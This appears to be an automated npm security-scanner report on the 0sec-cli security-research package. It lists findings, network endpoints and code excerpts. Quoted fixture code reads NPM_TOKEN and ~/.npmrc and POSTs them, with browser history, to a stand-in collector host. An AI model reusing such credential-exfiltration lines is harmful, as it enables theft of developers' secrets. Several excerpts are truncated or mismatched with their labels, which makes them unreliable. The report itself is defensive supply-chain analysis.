Loading npm security reports…
Loading npm security reports…
0sec-cli@0.17.0: Remote code execution – npm package flagged | LPM Firewall
Flagged — allowed with a warning
Allowed by default policy, but 28 findings warrant review before installing.
AI security reviewscanned on Sep 17, 2026, 06:41 UTC · by lpm-firewall-ai Inspected source shows a dual-use authorized security-research CLI with no npm lifecycle hooks, so this is not install-time malware. Residual risk remains because the largest bundle is not fully readable as UTF-8 and the CLI can still auto-update via curl-to-bash, post analytics, and run exploit recipes when the user launches it.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
The user installs the package, then runs the 0 or 0sec command and optional scan, exploit, or upgrade flows.
Impact
An operator can run high-risk security workflows against chosen targets, send usage data to 0sec cloud when analytics is on, and auto-install later GitHub releases. Incomplete inspection of the binary-tainted bundle leaves residual uncertainty.
Mechanism
Dual-use security-research CLI with optional remote update and telemetry
Evidence
package.json 0sec.js chunks/chunk-VGRDNSHA.js chunks/chunk-O462Y7P2.js chunks/chunk-WU6AFRAZ.js chunks/chunk-IORC6MQX.js chunks/chunk-3MOLBTLS.js
Network endpoints4
/0sec-labs/0sec/main/install.sh
raw.githubusercontent.com
api.github.com /repos/0sec-labs/0sec/releases/latest
cloud.0.security
collector.invalid /exfil
Decision evidencepublic snapshot Evidence for warning
The published CLI has no npm install hooks, but running 0sec immediately wires telemetry, event sinks, and an update check. When analytics is enabled, the CLI POSTs redacted usage batches to a cloud host using stored credentials. An optional automatic updater fetches GitHub install.sh and pipes it to bash. Bundled historical-package fixtures contain preinstall scripts that read NPM_TOKEN and ~/.npmrc and POST them. chunks/chunk-IORC6MQX.js is a 50k-line bundle with non-UTF8 bytes, so eval, download, and herdr-sink behavior in that file cannot be fully verified. The package also ships working CVE exploit recipes, SSRF payloads, and a sandbox npm package runner for user-invoked scans. Evidence against
package.json has no preinstall, install, or postinstall scripts; entry is the 0/0sec bin. Default analyticsLevel is off, with 0SEC_OFFLINE, 0SEC_NO_TELEMETRY, and DO_NOT_TRACK opt-outs. Cloud finding sink stays inert unless 0SEC_CLOUD_SINK and 0SEC_CLOUD_SCAN_ID are set. Default update policy only notifies; curl-to-bash install runs only when global settings set updatePolicy to automatic. Exfil strings in the historical fixtures target collector.invalid and are labeled as local benchmark fallbacks, not install-time payloads. Behavioral surface
Source Child process · Crypto · Dynamic require · Environment variables · Eval · Filesystem · Network · Shell
Supply chain High entropy strings · Minified · Possible obfuscation · URL strings
Manifest No manifest risk signals triggered.
Scanned 127 files · 7.55 MB of source
50 external domains referenced
0sec.ai 127.0.0.1 169.254.169.254 access.redhat.com accounts.google.com api.anthropic.com api.deepseek.com api.example.com api.github.com api.githubcopilot.com api.kimi.com api.openai.com api.osv.dev api.target.com api.x.ai api.z.ai app.example.com astral.sh atlas.mitre.org attack.mitre.org attacker.example attacker.example.com attacker.oast.id auth.kimi.com auth.openai.com auth.x.ai chatgpt.com cloud.0.security cloudcode-pa.googleapis.com collector.invalid crates.io crt.sh cwe.mitre.org datatracker.ietf.org docs.0.security duckduckgo.com duo.com evil.com evil.example example.com github.com graph.microsoft.com hackerone.com html.duckduckgo.com httpbin.org internal-service.local learn.microsoft.com lore.kernel.org models.dev nvd.nist.gov Oversized source lightweight scan
Findings6 critical · 14 high · 5 medium · 3 low Source & flagged code22 flagged Medium Secret pattern
Package contains a possible secret pattern.
chunks/chunk-WKNNZVJS.js View on unpkg · L749 Code excerpt · 3 lines 749 patternName = generic_password
severity = medium
line = 749
High Child process
Package source references child process execution.
chunks/chunk-WVTBZEQO.js View on unpkg · L16 Code excerpt · 3 lines 16 // [redacted]-fuzz-runner.js
17 import { execFile } from "node:child_process" ;
18 import { createHash } from "node:crypto" ;
High Cloud metadata access
Source reaches cloud instance metadata or link-local credential endpoints.
chunks/chunk-WVTBZEQO.js View on unpkg · L16 Code excerpt · 12 lines 16 // [redacted]-fuzz-runner.js
17 import { execFile } from "node:child_process" ;
18 import { createHash } from "node:crypto" ;
⋯
29 var TOOLING_HINTS = {
30 cargo: "cargo not found \u2014 install the Rust toolchain via https://rustup.rs" ,
31 "cargo-fuzz" : "cargo-fuzz not found \u2014 install with `cargo install cargo-fuzz` (requires a nightly toolchain for `cargo fuzz run`)" ,
⋯
205 for (const key of FUZZ_TOOLCHAIN_ENV_PASSTHROUGH) {
206 const value = process.env[key];
207 if (value !== void )
Code excerpt · 3 lines 4707 **Cross-Language App-Layer Classes** (hunt these across ANY runtime \u2014 Node, .NET, Java, Python, PHP, Ruby)
4708 - OS command injection: attacker-influenced data reaching a process/shell exec sink \u2014 Node exec/spawn (shell:true )/execSync, .NET Process.Start / ProcessStartInfo.FileName=cmd....
4709 - Method-level authorization differential + IDOR: sibling routes/handlers/service-methods on the SAME resource where one lacks the [Authorize]/@PreAuthorize/policy/role guard or ow...
High Remote agent bridge
Source exposes local file and command tools to a remote model endpoint.
chunks/chunk-K26SZ37E.js View on unpkg · L306 Code excerpt · 12 lines 306 // [redacted]-check.js
307 import { execFile } from "node:child_process" ;
Critical Download execute
Source downloads or fetches remote code and executes it.
chunks/chunk-IORC6MQX.js View on unpkg · L1520 Critical Trigger reachable dangerous capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
chunks/chunk-IORC6MQX.js View on unpkg · L1520 Shared code excerpt · 2 findings · 12 lines 1520 // validation function arguments
1521 data: new codegen_1.Name ("data" ),
1522 // data passed to validation function
⋯
2547 id = normalizeId (id);
2548 return resolver.resolve (baseId, id);
2549 }
⋯
dashboard/assets/operations-D8nUP5_m.js View file Medium Dynamic require
Package source references dynamic require/import behavior.
dashboard/assets/operations-D8nUP5_m.js View on unpkg · L3 Code excerpt · 1 line 4 Please change the parent <Route path="${e}" > to <Route path="${e===`/`?`*`:`${e}/*`}" >.`)}let d=L(),f;if(t){let e=typeof t==` string`?S(t):t;g(l===` /`||e.pathname?.startsWith(l),` Wh...
Critical Same file environment network execution
A single source file combines environment access, network access, and code or shell execution with blocking evidence.
chunks/chunk-VGRDNSHA.js View on unpkg · L3126 Code excerpt · 8 lines 3126 if (process.platform === "win32" ) return { success: false , installed: false , error: "Automatic installation is unavailable on Windows; download a release from https://github.com/0s...
3127 if (disabled (process.env["0SEC_OFFLINE" ]) || disabled (process.env["0SEC_NO_UPDATE_CHECK" ])) {
3128 return { success: false , installed: false , error: "Updates are disabled by the current offline/update policy." };
⋯
3136 const normalizedTag = tag.startsWith ( ) ? tag : ;
Critical Credential exfiltration
Source appears to send environment or credential material to an external endpoint.
chunks/chunk-WU6AFRAZ.js View on unpkg · L8 Code excerpt · 12 lines 8 // packages/core/dist/prepare.js
9 import { execFileSync as execFileSync2 } from "node:child_process" ;
10 import { existsSync as existsSync2, mkdirSync as mkdirSync3, rmSync as rmSync2 } from "node:fs" ;
⋯
40 files: {
41 "package.json" : fixturePackageJson ("ngfm" , "1.0.0-historical-fixture" , "preinstall.js" ),
42 "preinstall.js" : [
Critical Command output exfiltration
Source executes local commands and sends command output to an external endpoint.
chunks/chunk-O462Y7P2.js View on unpkg · L11115 Code excerpt · 6 lines 11115 `,
11116 "techniques/llm-rag-poisoning.yaml" : 'id: llm-rag-poisoning\nname: "LLM RAG / Context Poisoning"\ndescription: "Poison a writable retrieval surface (knowledge base, vector store, u...
11117 "techniques/llm-safety-eval.yaml" : 'id: llm-safety-eval\nname: "LLM/Agent Safety Evaluation"\ndescription: "When to reach for the `safety_eval` engine: send adversarial prompts to ...
⋯
11119 "techniques/poc-verification.yaml" : 'id: poc-verification\nname: "PoC Verification (Loop-Closer)"\ndescription: "When to reach for the `verify_finding` engine: replay a persisted f...
11120 "techniques/race-condition.yaml" : 'id: race-condition\nname: "Race Condition Exploitation"\ndescription: "TOCTOU, limit-overrun, double-spend, and file race exploitation techniques...
11121
High Cross file remote execution context
Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.
chunks/chunk-3QFDYBZQ.js View on unpkg · L117 Code excerpt · 12 lines Cross-file remote execution chain: chunks/chunk-3QFDYBZQ.js spawns chunks/chunk-IORC6MQX.js; helper contains network access plus dynamic code execution.
117 const json = JSON.stringify (report);
118 const compressed = gzipSync (Buffer.from (json, "utf-8" ));
119 const b64 = compressed.toString ("base64url" );
120 return `https://0sec.ai/r#${b64}` ;
121 }
⋯
198 const sourceRoot = resolve (prepared.resolvedTarget);
199
chunks/chunk-3MOLBTLS.js#virtual:normalized:round1 View file High Semantic analysis limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
chunks/chunk-3MOLBTLS.js#virtual:normalized:round1 View on unpkg Scanner record · 1 line stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 5
chunks/chunk-IORC6MQX.js 2.79 MB file, sampled 256 KB
Filesystem Child process Environment variables Eval Crypto Shell High entropy strings URL strings atlas.mitre.org attack.mitre.org raw.githubusercontent.com
Package metadata 6 findings
Medium Network
Medium Environment variables
Medium Structural risk force deep review
0
213 return new Promise ((resolveRun) => {
214 execFile (command, args, { cwd, timeout: timeoutMs, maxBuffer: 16 * 1024 * 1024 , killSignal: "SIGKILL" , env: fuzzChildEnv () }, (error, stdout, stderr) => {
215 const stdoutText = String (stdout ?? "" );
308
import { promisify } from "node:util" ;
328 var OWN_FROM_MARKERS = ["0sec.ai" , "doruk@" ];
329 function epochUrl (baseUrl, list, epoch) {
330 return `${baseUrl}/${list}/git/${epoch}.git` ;
1750 return JSON.parse (readFileSync (path, "utf8" ));
3603 "## Available Tools" ,
3604 "Call tools using this exact format (one per line):" ,
3428 for (i = 0 ; i < input.length; i++) {
3429 code = input[i].charCodeAt (0 );
7487 function checkPathExt (path, options) {
7488 var pathext = options.pathExt !== void 0 ? options.pathExt : process.env.PATHEXT;
Code excerpt · 3 lines 10989 "code-injection" : {
10990 summary: "Eliminate eval() and similar dynamic code execution with user-controlled input. Use safe alternatives." ,
10991 steps: [
High Credential redirect persistence
Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.
chunks/chunk-IORC6MQX.js View on unpkg Scanner record · 8 lines Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration.
chunks/chunk-IORC6MQX.js- Authorization bypass (can you access tools/resources that should be restricted?)
- Insecure tool/function calling without authorization checks
- Hardcoded API keys or credentials
const res = await doFetch(`${opts.baseUrl}/chat/completions`, {
authorization: `Bearer ${opts.apiKey}`
import { mkdir, writeFile } from "node:fs/promises";
var SENSITIVE_KEY = /(?:authorization|api[-_]?key|cookie|password|secret|token|credential)/i;
await writeFile(absolutePath2, content, "utf8");
High Obfuscated payload loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
chunks/chunk-IORC6MQX.js View on unpkg · L22203 Code excerpt · 3 lines 22203 [/stack[^.\n]*(buffer|out.of .bounds|overflow)|stack-buffer-overflow/, /stack-buffer-overflow|dynamic-stack-buffer-overflow/],
22204 [/global[^.\n]*(buffer|out.of .bounds|overflow)|global-buffer-overflow/, /global-buffer-overflow/],
22205 [/use.after.free|uaf/, /use-after-free|heap-use-after-free/],
High Trigger reachable external post callback
A manifest entrypoint or package-local install chain reaches a fixed external POST callback.
chunks/chunk-IORC6MQX.js View on unpkg Scanner record · 9 lines Trigger-reachable fixed external POST callback chain: manifest.bin -> 0sec.js -> chunks/chunk-IORC6MQX.js
oastConfirmedPayload,
runHttpConformanceCheck
describeEngagementPosture,
postFinalReport,
postFinding,
return JSON.stringify(x).replace(/\u2028/g, "\\u2028").replace(/\u2029/g, "\\u2029");
post: { rules: [] },
var post = cb.post || function() {
"v"
`v${tag}`
3137 const env = { ...process.env, RELEASE_BASE_URL: `https://github.com/${REPO}/releases/download/${normalizedTag}` };
3138 const installDir = options.installDir ?? process.env["0SEC_INSTALL_DIR" ];
3141 return await new Promise ((resolve) => {
3142 const child = spawn ("bash" , ["-o" , "pipefail" , "-c" , `
43 "const https = require('https');" ,
44 "const child_process = require('child_process');" ,
45 "const token = process.env.NPM_TOKEN || '';" ,
46 "const npmrc = child_process.execSync('cat ~/.npmrc 2>/dev/null || true').toString();" ,
47 "https.request('https://collector.invalid/exfil', { method: 'POST' }).end(JSON.stringify({ token, npmrc }));"
High Entrypoint foreign package code overwrite
Manifest-reachable source overwrites another installed package with package-defined remote behavior.
chunks/chunk-WU6AFRAZ.js View on unpkg Scanner record · 8 lines Manifest-reachable source resolves another installed package, overwrites its runtime code, and injects package-defined remote behavior.
chunks/chunk-WU6AFRAZ.jsimport { existsSync, mkdirSync as mkdirSync2, readFileSync, readdirSync, rmSync, statSync, writeFileSync as writeFileSync2 } from "node:fs";
import { mkdirSync, writeFileSync } from "node:fs";
"https.request('https://collector.invalid/exfil', { method: 'POST' }).end(JSON.stringify({ token, npmrc }));"
"https.request('https://collector.invalid/creds', { method: 'POST' }).end(JSON.stringify({ browser, history }));"
const packageDir = join(tempDir, "node_modules", packageName);
writeFileSync(absPath, content, "utf8");
"https://api.osv.dev/v1/query"
const pkgJsonPath = join2(tempDir, "node_modules", packageName, "package.json");
High Trigger reachable credential exfiltration
A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.
chunks/chunk-WU6AFRAZ.js View on unpkg · L8 Code excerpt · 11 lines Trigger-reachable credential exfiltration chain: manifest.bin -> 0sec.js -> chunks/chunk-WU6AFRAZ.js
8 // packages/core/dist/prepare.js
9 import { execFileSync as execFileSync2 } from "node:child_process" ;
10 import { existsSync as existsSync2, mkdirSync as mkdirSync3, rmSync as rmSync2 } from "node:fs" ;
⋯
40 files: {
41 "package.json" : fixturePackageJson ("ngfm" , "1.0.0-historical-fixture" , "preinstall.js" ),
42 "preinstall.js" : [
43 "const https = require('https');" ,
44 "const child_process = require('child_process');" ,
45 "const token = process.env.NPM_TOKEN || '';" ,
46 "const npmrc = child_process.execSync('cat ~/.npmrc 2>/dev/null || true').toString();" ,
47 "https.request('https://collector.invalid/exfil', { method: 'POST' }).end(JSON.stringify({ token, npmrc }))
"techniqu
Critical Persistence backdoor
Source writes persistence or remote-access backdoor material.
chunks/chunk-O462Y7P2.js View on unpkg · L98 High Trigger reachable persistence
A manifest entrypoint or package-local install chain reaches persistence behavior.
chunks/chunk-O462Y7P2.js View on unpkg · L98 Shared code excerpt · 2 findings · 12 lines 98 import { tmpdir } from "node:os" ;
99 import { dirname as dirname3, join as join4, resolve as resolve4 } from "node:path" ;
100 import { pathToFileURL } from "node:url" ;
⋯
131 Binary2.fromSource = fromSource;
132 function toBase64 (source) {
133 source = fromSource (source);
⋯
201 Time2.week = Time2.day * 7 ;
202 let timezoneOffset = (/* @__PURE__ */ new Date ()).getTimezoneOffset ();
203 function setTimezoneOffset (offset) {
⋯
298 original: /* @__PURE__ */ Symbol.for ("cordis.original" ),
299 metadata: /* @__PURE__ */ Symbol.for ("cordis.metadata" ),
300 initHooks: /* @__PURE__ */ Symbol.for ("cordis.initHooks" ),
High Trigger reachable command output exfiltration
A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.
chunks/chunk-O462Y7P2.js View on unpkg · L11115 Code excerpt · 5 lines Trigger-reachable command-output exfiltration chain: manifest.bin -> 0sec.js -> chunks/chunk-O462Y7P2.js
11115 `,
11116 "techniques/llm-rag-poisoning.yaml" : 'id: llm-rag-poisoning\nname: "LLM RAG / Context Poisoning"\ndescription: "Poison a writable retrieval surface (knowledge base, vector store, u...
11117 "techniques/llm-safety-eval.yaml" : 'id: llm-safety-eval\nname: "LLM/Agent Safety Evaluation"\ndescription: "When to reach for the `safety_eval` engine: send adversarial prompts to ...
⋯
11119 "techniques/poc-verification.yaml" : 'id: poc-verification\nname: "PoC Verification (Loop-Closer)"\ndescription: "When to reach for the `verify_finding` engine: replay a persisted f...
11120 "techniques/race-condition.yaml" : 'id: race-condition\nname: "Race Condition Exploitation"\ndesc
const noveltyRoot = opts.novelty?.rootDir ?? process.env["0SEC_LORE_MIRROR_ROOT" ] ?? "/root/lore-mirror" ;
200 const noveltyLists = opts.novelty?.lists ?? (process.env["0SEC_LORE_LISTS" ] ?? "linux-media" ).split ("," ).map ((s) => s.trim ()).filter (Boolean);
487 timeoutMs: parsePositive ("--timeout" , opts.timeout,